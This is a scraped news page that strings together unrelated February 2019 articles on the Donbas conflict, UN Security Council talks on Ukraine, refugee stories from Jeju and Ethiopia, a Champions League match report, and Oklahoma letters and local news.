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Scattered thunderstorms, especially during the afternoon hours. A few storms may be severe. High 88F. Winds S at 10 to 15 mph. Chance of rain 40%..

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This is the name that will be displayed next to your photo for comments, blog posts, and more. Choose wisely!Three invaders were killed and another three were injured in the past day, intelligence reports say.

Russia's hybrid military forces in the past 24 hours mounted five attacks on Ukrainian army positions in Donbas, with one Ukrainian soldier reported as wounded in action (WIA).

Read alsoUkrainian military conducts drills with Uragan multiple rocket launchers in Donbas (Video)

"One Ukrainian soldier was wounded in the past day. According to intelligence reports, three invaders were killed and another three were wounded," the press center of Ukraine's Joint Forces Operation said in an update published on Facebook as of 07:00 Kyiv time on February 13, 2019.

Russian occupation forces opened fire from 82mm mortars, weapons installed on infantry fighting vehicles, grenade launchers of various types, heavy machine guns, and small arms, attacking the defenders of the town of Maryinka, and the villages of Khutir Vilniy, Stanytsia Luhanska, Travneve, and Bohuslavske.

What is more, early on February 12, the enemy employed 82mm mortars, while attacking the village of Shyrokyne, as a result of which a shell hit a house. Ukrainian members of the Joint Control and Coordination Center (JCCC) are checking information about possible damage.

"Since Wednesday midnight, Russian-led forces haven't attacked Ukrainian positions yet," the report said.The Ukrainian delegation offered their Russian counterparts an exchange format under the following formulas: "25 Russians for 25 Ukrainian political prisoners" and "72 separatists for 19 Ukrainian hostages".

The Ukrainian side in the negotiations of the Trilateral Contact Group in Minsk has put forward a proposal to the Russian delegation on a wide and narrow formats for the release of hostages and political prisoners, including the demand to release Ukrainian sailors (prisoners of war), that's according to First Deputy Chair of the Verkhovna Rada, Ukraine's humanitarian envoy to the TCG Iryna Gerashchenko.

As for the hostages. At the TCG, we repeated our demand  the immediate and unconditional release of POW sailors," Gerashchenko wrote on Facebook.

At the same time, according to her, "Russian representative Boris Gryzlov repeatedly tried to interrupt the Ukrainian side, saying that Minsk is not the place where the fate of prisoners of war should be discussed."

"Indeed, it is! We demand their release because they fall under Paragraph 6 of the Minsk Agreements  the immediate release of all illegally held, the ones whom the aggressor state has been holding in connection with the conflict," said Gerashchenko.

Read also"Scolded by Kremlin": Ukraine envoy on militants turning down detainee swap offer

We also once again conveyed to the Russian Federation a proposal to get 25 of their citizens and offered various release formats: a wide one (25/25) and 19/72, also suggesting several other formats. If the Russian Federation is not ready to take all its people back, we offered several narrow formats to unlock the process  to start with the release of those who need medical treatment," she wrote.

"We are also ready to hand over to Russian consuls three Russians from the 25 list in exchange for our military, who have been held in Donetsk for four years already  Serhiy Hlondar, Oleksandr Korninkov, and Bohdan Pantiushenko, but the Russians dont give their consent. We continue to press them to have our guys released," added Gerashchenko.

As UNIAN reported earlier, on February 13, this year's third meeting is being held of the Tripartite Contact Group on Donbas settlement.In a photo released by U.S. law enforcement, Joaquin Guzman Loera, the Mexican drug lord known as El Chapo, in federal custody on Long Island, Jan. 19, 2017. Loera was convicted on Feb. 12 after a trial that exposed the inner workings of his sprawling cartel, which over decades shipped tons of drugs into the United States and plagued Mexico with relentless bloodshed and corruption.According to the General Staff, 691 standards of collective and individual training have been worked out based on NATO standards.

Ukraine's Armed Forces are undergoing transition from Soviet-style mass training to individual "training of professionals," according to Deputy Chief of the Main Directorate of Defense Planning at the Ukraine Army's General Staff, Colonel Viacheslav Demianenko

Speaking at a Kyiv briefing, the official reported on the progress of Army reform, elaborating on the moves to boost operational (combat, special) capabilities of Ukrainian forces, according to an UNIAN correspondent.

To improve doctrinal documents on training and use of the Ukrainian Armed Forces, 691 standards of collective and individual training were developed based on NATO standards.

"A temporary guidebook on operational training in the Armed Forces of Ukraine has been approved, which also takes into account NATO procedures," Demianenko said.

He added that since 2017, joint operational and combat training efforts have been made against the same operational and strategic background.

Read alsoUkraine to test new types of weapons in 2019: "Kolibri," Neptun"

"The total number of operational training activities has decreased by 10%. At the same time, the number of activities, such as tactical exercises, has increased by 15%. At the same time, the transition is underway from mass training, which we got left over from the Soviet Union, to individual training of professionals. It provides for high-quality selection and thorough training of specialists," the military official said.

To this end, seven specialist training schools were established within training centers. It is about a basic military training school, tank crew training school, three sniper schools, anti-tank missile systems specialist training school, and an airborne training school.

Demyanenko also noted that a training center for missile forces and artillery units was established.

Read alsoUkraine's spec-op forces get new, upgraded weapons, equipment  President

Efforts were made to optimize staffing of units, taking into account the need to operate Stugna and Korsar anti-tank missile systems, which have recently shown great performance in Donbas, as well as modern unmanned aerial vehicles.

Among other things, the Maritime Command and the Command of the Marine Corps were formed.

"Our Navy received six small armored artillery boats. This year, they plan to receive another such boat as well as two landing boats. The development is underway of the Lan rocket boat project, which will be armed with the Neptun missiles," Demianenko.The suspect organized an illegal chain involving illegal amber processing and further smuggling out of Ukraine.

The SBU Security Service of Ukraine has revealed in Odesa an illegal amber processing factory working with stones extracted in Zhytomyr and Rivne regions without proper licenses.

Over 6.5 tonnes of amber was seized in the raid, according to the SBU's Zhytomyr office's press service.

Read alsoUkraine loses about US$70 bln in five years over shadow schemes  expert

The investigation revealed that a naturalized citizen of Ukraine organized unlawful processing of raw amber and even built a hostel for illegal workers from Central Asia he "employed".

The businessman also organized a smuggling scheme to sell jewelry made at the "factory" in one of the Asian countries.The U.S. envoy said that Washington "will never accept anything less than the full restoration of Ukraines control over its own territory, whether in eastern Ukraine or Crimea, including its territorial waters."

Russia's withdrawal of its military troops from eastern Ukraine and Crimea is the only acceptable outcome and the only one to be accepted, Acting Permanent Representative of the U.S. to the United Nations, Ambassador Jonathan Cohen told a UN Security Council briefing on the situation on Ukraine convened by Russia on Tuesday, Feb 12.

Also, the envoy noted the conflict's humanitarian aspect, according to the Voice of America.

"[W]e are coming to the fifth year anniversary of the start of Russias aggression against Ukraine that has left more than 10,400 dead and 1.6 million displaced, as well as 3.5 million more in dire need of assistance," he said.

The Ambassador called "ironic" the fact that it was Russia who called the meeting to discuss the Minsk agreements "given that Russia has clearly failed to honor and implement" them.

"Russia continues to arm, train, lead, and fight alongside its proxy forces in eastern Ukraine, in direct contravention of its commitments under the Minsk agreements, including establishing an immediate and comprehensive ceasefire," he noted.

Read alsoYelchenko: 35,000 troops in Russia-occupied Donbas supported by over 2,100 members of Russian military

Cohen said the U.S. welcomes the Ukrainian governments "continued commitment to a peaceful resolution of the conflict and full implementation of the Minsk agreements."

"Ukraine has demonstrated this commitment through steps including by extending the law on the special status for Russia-controlled areas of eastern Ukraine," the U.S. permanent representative said, adding that, for its part, Moscow "disingenuously argues for a protection force that would use expensive international forces to cement the status quo and end up protecting Russias proxies."

"Our Donbas-related sanctions will remain in place until Russia fully implements the Minsk agreements. Our Crimea related sanctions will also continue until Russia returns the peninsula to Ukrainian control," he told the briefing.

Read alsoMFA Ukraine on fourth anniversary of "Minsk-2": Ukraine positions in Donbas shelled daily

"We do not, and will not, recognize the Kremlins purported annexation of Crimea," the diplomat said. "We will never accept anything less than the full restoration of Ukraines control over its own territory, whether in eastern Ukraine or Crimea, including its territorial waters."

Other representatives of international community also noted the illegal nature of the annexation of Crimea by Russia. A number of countries condemned Russian aggression in Ukraine, while ahead of the meeting, eight EU countries, including France, Germany, Poland, Belgium and the UK, issued a statement in support of Ukraines independence and territorial integrity within internationally recognized borders.

The representative of Russia, who initiated the meeting, in turn, rejected the accusations against his country and said that it was Ukraine who is ignoring and sabotaging the Minsk agreements, and accused the Western countries of covering up Ukraine's actions.As of this February, Russian-armed formations in Donbas have 496 main battle tanks.

Permanent Representative of Ukraine to the United Nations Volodymyr Yelchenko has said the 35,000-strong armed force in occupied Donbas is supported by more than 2,100 members of the Russian military.

"The 35,000-strong armed force in occupied Donbas is supported by more than 2,100 members of the Russian military," he said at a UN Security Council meeting on February 12 on the fourth anniversary of the signing of the Minsk agreements.

Read alsoU.S. envoy at UNSC: Russia must end conflict by withdrawing its troops from eastern Ukraine, Crimea

"What do these numbers speak of in terms of Russia's real intentions?" he asked. "Since 2015, Russia has sabotaged implementation of the ceasefire agreements a total of 18 times," he continued, adding that there were more than 54,000 ceasefire violations during that period.

"On almost 6,000 occasions, Russian forces used weapon systems prohibited under the Minsk agreements," he noted, emphasizing that Ukraine has withdrawn all proscribed weapons and regularly provides the OSCE with a detailed weapons inventory.

"Yet, there are numerous and regular cases of blatant violations, with the other side stationing heavy weapons in the immediate vicinity of the actual contact line, rather than the withdrawal line," Yelchenko stressed, noting also that there has been no progress in negotiations on creating an area free of heavy weapons near Mariupol.

"As of this February, Russian-armed formations in Donbas have 496 main battle tanks in their possession, comparable to the combined arsenals of Germany and France," he said.The U.S. called on Moscow to respect Ukraine's sovereignty and territorial integrity, extending to its territorial waters.

U.S. Deputy Permanent Representative to the United Nations, the U.S. Mission to the United Nations, Ambassador Jonathan Cohen has said it is Russia that must end the conflict by withdrawing its troops from eastern Ukraine and Crimea.

Read alsoEU stresses need to agree on additional measures for sustainable ceasefire in Donbas

"It is Russia that must end this conflict by withdrawing its troops from eastern Ukraine and Crimea," he said at a UN Security Council meeting on February 12 on the fourth anniversary of the signing of the Minsk agreements.

"The United States does not and will not support the Kremlin's purported annexation of Crimea or anything less than full restoration of Ukraine's control over its territory," he said, emphasizing that the Donbas-related sanctions will stay in place until such changes are made.

"The United States stands with the European Union and others against the Russian Federation's unacceptable conduct in Crimea, eastern Ukraine and the Black Sea," Cohen stressed, calling upon Moscow to respect Ukraine's sovereignty and territorial integrity, extending to its territorial waters.The parties' priority should be to withdraw heavy weapons from populated areas, disengage forces and protect civilian infrastructure.

Miroslav Jenca, the Assistant Secretary-General for Europe, Central Asia and the Americas in the Department of Political and Peacebuilding Affairs, has stressed the need to agree on the additional measures that would make the ceasefire in Donbas sustainable and irreversible.

"There is an urgent need to agree on the additional measures that would make the ceasefire sustainable and irreversible," he said at a UN Security Council meeting on February 12 on the fourth anniversary of the signing of the Minsk agreements.

While violence has decreased since 2014, an estimated 1.5 million people remain internally displaced, he said. The parties' priority should be to withdraw heavy weapons from populated areas, disengage forces and protect civilian infrastructure.

Read alsoMFA Ukraine on fourth anniversary of "Minsk-2": Ukraine positions in Donbas shelled daily

"The United Nations is fully committed to providing humanitarian assistance, human rights monitoring and development support," he said.

"While the accords remain the only agreed framework for a negotiated peace in eastern Ukraine, they regrettably remain largely unimplemented, including their key security and political aspects," Jenca noted.

"Negotiations appear to have lost momentum, with stakeholders either unable or unwilling to reach agreement on forward steps," he said, pointing out that detailed discussions have been taking place in separate forums without participation by the United Nations.

"As highlighted over the past five years, the conflict in eastern Ukraine is neither dormant nor frozen," Jenca said, emphasizing that it continues to claim victims in the heart of Europe.

Noting that Minsk will host another round of Trilateral Contact Group talks this week, he expressed the expectation of the United Nations that the parties will reach tangible outcomes and implement decisions in good faith and without delay.

"Now in its sixth year, the conflict remains an active threat to international peace and security," he added, calling again for swift progress on implementing the Minsk agreements. He also urged all parties to avoid unilateral steps that could deepen the divide or depart from the letter and spirit of the Minsk agreements.Before a Yemeni restaurant opened in this South Korean resort island last year, diner Kim Hee-yeol knew little about either the food or the people from the war-ravaged country.

But after sampling the kebabs, flatbread and hummus at Restaurant Wardah, prepared by refugee chefs and served up by the eager Yemeni wait staff, she is getting to know both.

Eating the food cooked and served by the people makes me feel that I know Yemen better, says Kim, who was among a mixed crowd of Koreans, Yemenis and tourists on a busy Friday evening at Wardah.

I was moved by the waiter who tried to take the order in Korean using a translation App. They are really trying hard to adapt to the country, she says.

Eating the food cooked and served by the people makes me feel that I know Yemen better.

Last spring, some 500 Yemenis fled the civil war raging at home and arrived on Jeju, a bustling tourist island off the southern coast of South Korea with a visa-free-policy.

Their somewhat unusual mass arrival sparked concerns both on the island and the mainland, where Koreans had little exposure to either refugees or Muslims  although the restaurant is now changing that, one meal at a time.

Wardah, which means flower in Arabic, is the brainchild of a local restaurateur and musician Ha Min-kyung, who decided to open up her music studio to shelter the Yemenis after learning from a social media group that many had started sleeping rough as their savings ran out.

Restaurant Wardah serves entirely halal food such as lamb and chicken kabsa, agdah chicken, kebab, flat bread and hummus.  UNHCR/Neil P George

Hummus is among dishes prepared and served by Yemeni staff at Restaurant Wardah.  UNHCR/Neil P George

Ha Min-kyung decided to open Restaurant Wardah after hearing that hundreds of Yemeni asylum-seekers were struggling to find proper halal food on Jeju Island.  UNHCR/Neil P George

The Yemenis thanked me so earnestly for something that was so easy to do that I felt almost ashamed, says the 38-year-old, her eyes turning watery at the memory. The studio was empty most of the time and all I had to do was to unlock it. How difficult is that?

After spending months helping and supporting Yemeni asylum-seekers and becoming their friend, Ha realized that many of them were not eating properly as it was difficult to get proper halal food in Jeju.

With support from her Yemeni and Korean friends, she decided to open the islands first Yemeni restaurant, giving it the name Wardah, which is also a name that the Yemenis gave her.

The eatery now serves up entirely halal food including kababs, rice, falafel and agdah chicken, as well hummus and other Middle Eastern staples. Yemeni customers get a special 50 per cent discount.

The Yemenis thanked me so earnestly for something that was so easy to do.

This is a taste of home, says Mohammed Ali, 37-year-old asylum-seeker and Wardah regular. Outside, I only ate vegetables because I wasnt sure if the chicken sold in the Korean shops were proper halal. I dont worry about that here.

Among frequent diners is Nathan Dewan, from the United States, who has been living on the island for about four years teaching English at a Korean public school.

Food is something that we can all relate to and also is a great medium for the sharing of a personality and a story  It is wonderful to have this place for the bridging of cultural gaps, says Nathan.

Ongoing conflict and dire conditions in Yemen have displaced an estimated 2.3 million people within the country and more than 20 million are in desperate need of humanitarian aid. Some 70,000 people have fled abroad in search of safety.

UNHCR, the UN Refugee Agency, is on the ground in Yemen, actively providing urgent humanitarian assistance. It does not consider that any person from Yemen can safely return to his or her home country at this time.

Chef Mohammed Ameen Almaamari (left) and waiter Sami Al-baadani (right) fled the deepening crisis in Yemen and reached Jeju via Malaysia.  UNHCR/Neil P George

Restaurant Wardah opened in late 2018, offering Yemeni food on Jeju Island.  UNHCR/Neil P George

All the food offered at Restaurant Wardah is halal, cooked and served by the Yemeni asylum-seekers on Jeju Island.  UNHCR/Neil P George

For Ha, seeing her restaurant filled with Koreans, Yemenis and visitors all interacting over food, has been an unexpected delight.

I would have laughed if someone told me last year that I was to open a Yemeni restaurant, she says. Before the Yemenis started to arrive here, I didnt even know there was a country called Yemen. I had no idea who refugees were.

Since 1994, Korea has received nearly 49,000 asylum claims and currently hosts about 2,900 refugees and humanitarian status holders from various countries of origin including Pakistan, China, Syria and Yemen.

The South Korean government granted temporary humanitarian status to the majority of the 484 Yemenis who sought asylum on the island, and recognized two as refugees. However, challenges remain, particularly for 56 asylees whose claims have been rejected, although they have the right to appeal and thus will not be repatriated immediately.

We did not come to Korea for money or for better jobs. We came because Korea is a safe country."

We did not come to Korea for money or for better jobs. We came because Korea is a safe country and because Korea was our only option, said Sami Al-baadni, 23-year-old Yemeni waiter at the restaurant. We cannot return now or even in the near future. If we return, we will die.

For his part, Mohammed Ameen Almaamari, Wardahs 35-year-old chef, wants peace in Yemen and the chance to go home in safety. Meanwhile, he asks Koreans to see Yemenis as human beings, beneath the different race, culture and religion.

All the signs are that the restaurant is helping to achieve that hope. After dining at Wardah, Kim Hee-yeol becomes reflective about the need to do more to help refugees in their time of need.

We can be concerned about the unknown, but that is not the fault of the unknown is it? she notes. I wish the government would increase its efforts in persuading and reassuring the people about Koreas responsibility in protecting refugees.UN High Commissioner for Refugees Filippo Grandi with IKEA Foundation CEO Per Heggenes and a student.  UNHCR/Georgina Goodwin

ADDIS ABABA, Ethiopia - On his four-day visit to Ethiopia, UN High Commissioner for Refugees Filippo Grandi praised the countrys generosity towards hosting refugees, as well as the governments openness to new and innovative approaches to improve the lives of the more than 900,000 refugees and the communities hosting them.

The High Commissioner spent two days in Melkadida, a region bordering Somalia, which hosts over 200,000 refugees. He saw first hand how a US$100 million investment by the IKEA Foundation over the last seven years has transformed the semi-arid, isolated area into a thriving community.

Grandi visited projects funded by the Foundation, including an irrigation scheme where 1,000 hectares of previously barren land are now lush farms that enable refugees grow crops such as watermelon, tomatoes and corn up to three times a year.

He also visited markets supported by microfinance and other economic empowerment programmes, where refugees and the local community buy and sell their crops. The programme has been so successful that some of the crops are being exported to other regions in the country. Refugees told the High Commissioner that they are saving some of their income to improve the markets themselves.

"The host community are welcoming us, and we are welcoming them.

What has developed here is a unique approach to self-reliance of refugees where the government of Ethiopia has been extremely open to new approaches," said Grandi. "The host communities and refugees have also been remarkably open to work together in harmony. This is something we dont normally see.

At a meeting with community leaders in Dollo Ado, the High Commissioner and IKEA Foundation CEO Per Heggenes heard about how the investment has had a positive impact on the entire community. They also announced that the Foundation has decided to extend their investment in the project for at least three more years to ensure the community can sustain it independently.

Heggenes, who noted that the area was in a dire situation when the project began, calls the progress he has witnessed a dream come true. He said its legacy is as much about helping foster harmony between the refugees and the local Ethiopians, as it is about growing the economy.

UNHCR chief praises Ethiopia's innovative approach to refugees (Dana Hughes, Producer/ Linda Muriuki, Producer / Arnold Temple, Camera-Editor )

What always happens when large numbers of refugees descend on a small community is it creates conflicts, because everyone wants to have the firewood, everyone wants to have the grazing land for their goats, said Heggenes. We approached this in a way to say were going to help the refugees and the host community come together, farm the land together, share the crops and live as sisters and brothers.

At the Melkadida Camp, the High Commissioner visited another project that the IKEA Foundation invested in  a secondary school, where refugee and host community students have access to quality teachers, well-equipped classrooms and a supportive learning environment.

For those that graduate, there is an opportunity to attend a new teachers college in Melkadida, also thanks to IKEA Foundation funding, with the goal of giving young people the opportunity to become professionally qualified teachers and to help shape the next generation of students in the region.

One of those students, 19-year-old Fartun who is in her last year of secondary school and hopes to attend university to study medicine, told the High Commissioner and Heggeness that she hopes the rest of Ethiopia can learn from how education can be a crucial tool to bring peace and harmony between communities.

I have refugee friends and friends from the host community, she says.  We study together and it makes no difference. The host community are welcoming us, and we are welcoming them.

See also: UNHCR Chief calls for more international support for Tanzania

While in Ethiopia, the High Commissioner also attended the 32nd African Union (AU) Summit in Addis Ababa on 9-10 February, where the organization declared the annual theme for 2019 as the Year of Refugees, Returnees and Internally Displaced Persons (IDPs): Towards Durable Solutions to Forced Displacement in Africa.

This years focus on refugees comes as the AU commemorates two key piece of legislation on forced displacement: the 50th anniversary of the adoption of the 1969 Organization of African Unity Convention on Refugees and the 10th anniversary of the 2009 AU Convention on Internally Displaced Persons in Africa (Kampala Convention).

Grandi took part in high-level discussions on addressing the root causes of Africas displacement, which was co-organized by UNHCR, the UN Refugee Agency. Participants noted that eliminating numerous and complex reasons for displacement  including issues such as armed conflict, terrorism, lack of good governance, the absence of rule of law and respect for human rights, corruption, economic inequality and inequality in resource distribution  is the most effective way to achieve solutions.

The High Commissioner remarked on the large numbers of refugees living in protracted situations due to unresolved conflicts, but also on the generosity of African countries and people.

"It is important that we share this solidarity.

I have been in the most remote villages of this continent where sharing the little food, water and shelter that people have with foreigners that are in distress because they had to flee, is not like in other richer parts of the world. Its not the subject of political negotiations but is a natural instinct rooted in the absolute values of a tradition of a culture and of a society, Grandi said in an interview.

This solidarity is there. People have it naturally. But we should not take it for granted. It is important that we share this solidarity.

Throughout his visit, the High Commissioner spoke about the importance of the Global Compact on Refugees, adopted by the UN General Assembly last December, which calls for more inclusion of refugees in communities where they reside and more global support for countries like Ethiopia, who continue to welcome and host them.

See also: Innovative investment transforms lives in Ethiopia

This the first year were going to implement the Global Compact on Refugees, Grandi said. But I tell people were already implementing it here in Melkadida, with multiple partners and development partners from programmes in irrigation, vocation, educational training.

While in Addis, the High Commissioner also met with President Sahle-Work Zewde, as well as Ato Kebede, the Director General of the governments refugee agency ARRA, where he praised Ethiopias new refugee law as forward-looking and representing the principles of the Global Compact on Refugees.

Addressing the media following his meeting with the President, Grandi said the proclamation is one of the best refugee laws, not only in Africa, but in the world, and pledged to mobilize more resources for development, not just for refugees, but also for their hosts.Deputy Foreign Minister of Ukraine Olena Zerkal held a number of meetings at the NATO Headquarters to clarify the legal aspects of Ukraines efforts to restore its sovereignty in Crimea and protect legitimate interests in the Black Sea and the Sea of Azov.

"In particular, Olena Zerkal took part in a meeting of the NATO-Ukraine Commission dedicated to the consideration of the legal aspects of restoring sovereignty and protecting Ukraines legitimate interests in the Black Sea and the Sea of Azov and ensuring freedom of navigation in the Kerch Strait," the press service of the Mission of Ukraine to NATO reports.

As noted, the Ukrainian side provided information that would help the Allies to understand better the legal aspects of Ukraines efforts aimed at restoring the sovereignty in Crimea, settling the security situation in the Black Sea and the Sea of Azov with international legal steps, as well as informed about the legal measures taken by Ukraine in order to free the Ukrainian sailors and ships captured by Russia on November 25, 2018.

In response, the representatives of the North Atlantic Alliance expressed full support for the territorial integrity and sovereignty of Ukraine, unanimously noted the unlawfulness of seizing Crimea and confirmed their readiness to continue to put pressure on the Russian Federation to ensure safe and unhindered navigation in the Black Sea, the Sea of Azov and the Kerch Strait and immediate liberation of Ukrainian ships and sailors.

During the meeting with Steven Hill, the Chief Legal Adviser to NATO Secretary General, Ukrainian Deputy Foreign Minister Olena Zerkal discussed the security situation in the Black Sea, the Sea of Azov as well as the next steps of Ukraines cooperation with NATO in the legal field.The UN established the Ukraine Humanitarian Pooled Fund and called on the donors to join it to help the residents Donbas, who are suffering from the armed conflict.

UN Assistant Secretary-General for Humanitarian Affairs and Deputy Emergency Relief Coordinator, Ursula Mueller made a corresponding statement at the meeting of the UN Security Council on the Humanitarian Situation in Ukraine on February 12, an Ukrinform correspondent reported.

We are establishing an innovative funding mechanism to support the 2019 Humanitarian Response Plan (HRP) effortsthe Ukraine Humanitarian Pooled Fundto address acute needs that are least funded. I welcome the contributions made by donors to this Fund. I urge others to join, Mueller said.

Todays discussion gives us an opportunity to once again draw attention to the humanitarian consequences of the conflict. As long as political discussions continue, we should not forget the human face of this crisis and its impact on the civilian population, ordinary people who experience its consequences every day, she said.

The newly established Ukraine Humanitarian Pooled Fund is part of the so-called Country-based Pooled Funds, which allow donors - governments, international and non-governmental organizations - to make their contributions for local humanitarian efforts. Thus, the funds can reach humanitarian partners in conflict zones on time, in a coordinated and targeted manner.

The representatives of the delegations of Sweden and Lithuania in their speeches reported that their governments had already made contributions to the Fund. In particular, the Government of Sweden donated $1 million.

Summing up, Muller added that the this year UN required $162 million to provide aid to 2.3 million people, through the 2019 Humanitarian Response Plan. The Plan focuses on protection of affected people, and on restoring their access to livelihoods, essential services and critical structures.Videos

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Paris are in charge of their round of 16 tie against Manchester United after an impressive second-half display at Old Trafford. Kylian Mbappe shot wide with the only notable chance of the opening period, and again went close to breaking the deadlock after the interval when his header was turned behind by David de Gea.

Former United forward Angel Di Maria delivered the subsequent corner and Presnel Kimpembe ghosted in at the back post to register his maiden senior goal. Di Maria also laid on the visitors' second, Mbappe perfectly positioned to side-foot his cross past De Gea. Mbappe might have iced the cake when clean through, but Paul Pogba's late red card nevertheless compounded United's misery.

View from the stadium: Matthew Howarth



Kylian Mbappe salutes the travelling fans Getty Images

United were first to every loose ball in the early exchanges, but the confidence they have acquired since Ole Gunnar Solskjr's appointment seemed to evaporate in an instant following Kimpembe's opener.

Paris were ruthless thereafter and could easily have emerged with more than a two-goal cushion. Yes, it would be foolish to completely write off Solskjr's team  the injuries to Anthony Martial and Jesse Lingard definitely affected them  but it's hard to see any way back for them in the French capital next month.

Man of the match: Marco Verratti



Buffon joy at Old Trafford clean sheet

Long feared to be unavailable for this game, Verratti showed exactly why he is so important to Paris in Europe. The Italian only returned from an ankle injury at the weekend, but his technique, dynamism and composure gave Paris the upper hand in the midfield battle.

While his slick passing stitched the visitors' play together, he also displayed bravery in defence, blocking an Ander Herrera shot just before he was forced to make way. United simply could not match his influence.

Key stats

United suffered a chastening evening Getty Images

This is the first time in their history that United have lost a European home fixture by more than a single goal.

This marks Solskjr's first defeat since taking caretaker charge of United; he had won ten and drawn one since his appointment in December.

Prior to Tuesday, Paris had won just once in ten visits to England (D4 L5).

Mbappe has scored three in four games in England, finding the net on his last three trips.

United had scored in their last 17 matches in all competitions prior to this.

Gianluigi Buffon has now kept 50 UEFA Champions League clean sheets.

What does it mean?

Matic on United's uphill task

United  and their interim manager  are no strangers to dramatic comebacks, but the Red Devils have never overturned a first-leg home defeat to win a tie in Europe. Furthermore, Paris have not lost a UEFA Champions League home game since this time last year, when they were already trailing Real Madrid 3-1 from the first leg.

What's next?

United face a tough test at Chelsea in the FA Cup fifth round on Monday, before potentially playing a pivotal role in this season's Premier League title race when they host Liverpool on 24 February.

Three games in seven days offer Paris the chance to extend their ten-point lead at the Ligue 1 summit, with an assignment at St-Etienne on Sunday followed by the visits of Montpellier (20/02) and Nimes (23/02) to the capital.Minister of National Security Fitzgerald Hinds says a frontal approach to fighting crime is necessary in Tobago, especially in light of several seizures of drugs, arms and ammunition, and persons breaking the public health regulations. Elizabeth Williams spoke with Minister Hinds and has this report.I remember reading that the power of the purse starts with a bill from the House of Representatives, then goes to the Senate (Article I, Section 7, Clause 1). The Senate can approve the House bill, reject it or amend it.

Once both houses of Congress agree to a funding bill, it then goes to the desk of the president. The chief executive has 10 days to sign, ignore or veto the bill.

Unless Congress is not in session at the end of the 10-day period, the spending bill becomes law whether the president signs it or not.

If Congress is still in session, then the only way a president can keep a bill from becoming law is to veto it.

Even then, if both houses override a veto by a two-thirds majority, the bill becomes law.

This seems pretty straight forward.

As I understand it, the current House of Representatives passed several funding bills in early January. The Senate should have voted on these. Its duty, per the Constitution, is to approve the House bills, modify the House bills or reject them.

As I write this, I suspect that the Senate will finally start to act on the Houses spending bills.Back when I lived in Houston, I read a letter to the editor in the Houston Chronicle complaining about two issues of that time.

There was pending legislation concerning the requirement to use seat belts and another outlawing open containers in a motor vehicle. The writer was against both restrictions, and his primary reason was that wearing a seat belt would affect his aim when throwing beer bottles at speed limit signs as he drove down the road.

In the spirit of my fellow Texans letter, I would like to comment on the upcoming Oklahoma legislation that would raise the speed limit to 80 mph.

Although I havent read the proposal, I would like to think that the new law would be retroactive and refunds would be made available for all of us who thought 80 mph was a good idea in the first place.

Editor's Note: House Bill 1071 proposed by Rep. Daniel Pae, R-Lawton, would raise the speed limit to 80 mph on toll roads outside city limits.

Letters to the editor are encouraged. Send letters to letters@tulsaworld.com.

Subscribe to Daily Headlines Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.When I took a high school civics course in 1965-66, we learned about the U.S. Constitution in great detail.

I remember reading that the power of the purse starts with a bill from the House of Representatives, then goes to the Senate (Article I, Section 7, Clause 1). The Senate can approve the House bill, reject it or amend it.

Once both houses of Congress agree to a funding bill, it then goes to the desk of the president. The chief executive has 10 days to sign, ignore or veto the bill.

Unless Congress is not in session at the end of the 10-day period, the spending bill becomes law whether the president signs it or not.

If Congress is still in session, then the only way a president can keep a bill from becoming law is to veto it.

Even then, if both houses override a veto by a two-thirds majority, the bill becomes law.

This seems pretty straight forward.

As I understand it, the current House of Representatives passed several funding bills in early January. The Senate should have voted on these. Its duty, per the Constitution, is to approve the House bills, modify the House bills or reject them.In December, I spent some of the days leading up to Christmas in Kabul, Kandahar and Mazar-e Sharif, visiting with the men and women of the U.S. military. Many have returned to Afghanistan multiple times, even when they could have retired, because they believe so strongly in the mission. If we cut and run, we will tell the U.S. service members who have fought for peace that their blood and sacrifice do not matter. They do matter. What these men and women have accomplished is nothing short of remarkable. In the years since U.S. military operations began in Afghanistan  operations supported by Republican and Democratic administrations and Congresses  not a single terrorist attack with roots in Afghanistan has been launched on U.S. soil.OKLAHOMA CITY  Celebrity Kim Kardashian West is being sued for $300 million in federal court in Oklahoma City.

A local social media developer filed the suit Tuesday against Kardashian West and her company Kimsaprincess Inc. over use of the Kimoji animated images and merchandise.

David Liebensohn, of Oklahoma City, claims Kardashian West breached a partnership agreement with him and two partners and failed to share profits from Kimoji designs and products. The Kimoji app launched in December 2015 to sell emojis and related products. It used suggestive icons and images of Kardashian West and her family, including her husband, rapper Kanye West. The trademark later spun into a line of fragrances, cellphone cases and accessories.

Once it was all agreed upon that that they were working together as a team, they allowed her to trademark (Kimojis), Robert J. Hantman, Liebensohns attorney, said. What we want is fair compensation for Mr. Liebensohn for something he helped develop and the Kardashians made a fortune (from).Time and again, we have proven to be an excellent location for expansion, said Dave Stewart, chief administrative officer at MidAmerica Industrial Park. As one of the largest employers in the industrial park, Google is committed to not only investing in its facility, but also in the surrounding communities.

From the time Google opened its first data center in Pryor in 2011, the local school districts total assessed property valuation grew to $325.6 million in 2015, an increase of 168 percent. Over that same span, Mayes Countys assessed property valuation grew to $498.4 million, a rise of 82 percent.

Grand River Dam Authority CEO Dan Sullivan said in a statement that the expansion of Google into Oklahoma allows the state an opportunity to add renewable energy at a lower cost to residents.

On behalf of the State of Oklahoma, we provide low-cost, reliable power to our customers, however, we are also committed to being good stewards of the environment, and that includes diversifying our energy production, Sullivan said.

Dollar amounts of the new Oklahoma investment will be made public at a future date, according to the local public relations firm.OKLAHOMA CITY  Waving handmade signs and chanting, hundreds of people flooded the state Capitol on Tuesday in support of legislation that would make abortion illegal in Oklahoma.

Among them were the Oklahoma-based Free the States anti-abortion group, which is seeking a hearing on Senate Bill 13, crafted by Sen. Joseph Silk, R-Broken Bow. The measure would make abortion a homicide under Oklahoma law.

The bill has been assigned to the Senate Health and Human Services Committee, chaired by Sen. Jason Smalley, R-Stroud. Smalley, who is anti-abortion, said he had some problems with the language of the bill and that Silk has agreed to make some changes.

The alterations will be taken under consideration, but if they dont meet his criteria, the bill wont get a hearing in the committee, Smalley said.

Former state Rep. Dan Fisher, who made an unsuccessful run for governor on the platform of abolishing abortion, said he and others at the rally demand the committee give it (SB 13) a fair hearing.

It needs to stop, said Fisher, who lives between Yukon and El Reno and pastors an Edmond church.

Members of Free the States said putting regulations on abortion is not enough. The only solution, they say, is to make it illegal.The recommendations are expected to wind up in legislation that goes through the legislative process.

The working group spent most of its time Wednesday approving minor amendments to the recommendations before passing the proposal.

I think it is good, said Chip Paul, chairman of Oklahomans for Health, which circulated the initiative petition to get the measure before voters. We helped write a lot of it last fall.

The unity proposal was a cooperative effort between the House, Senate and activist community, Paul said.

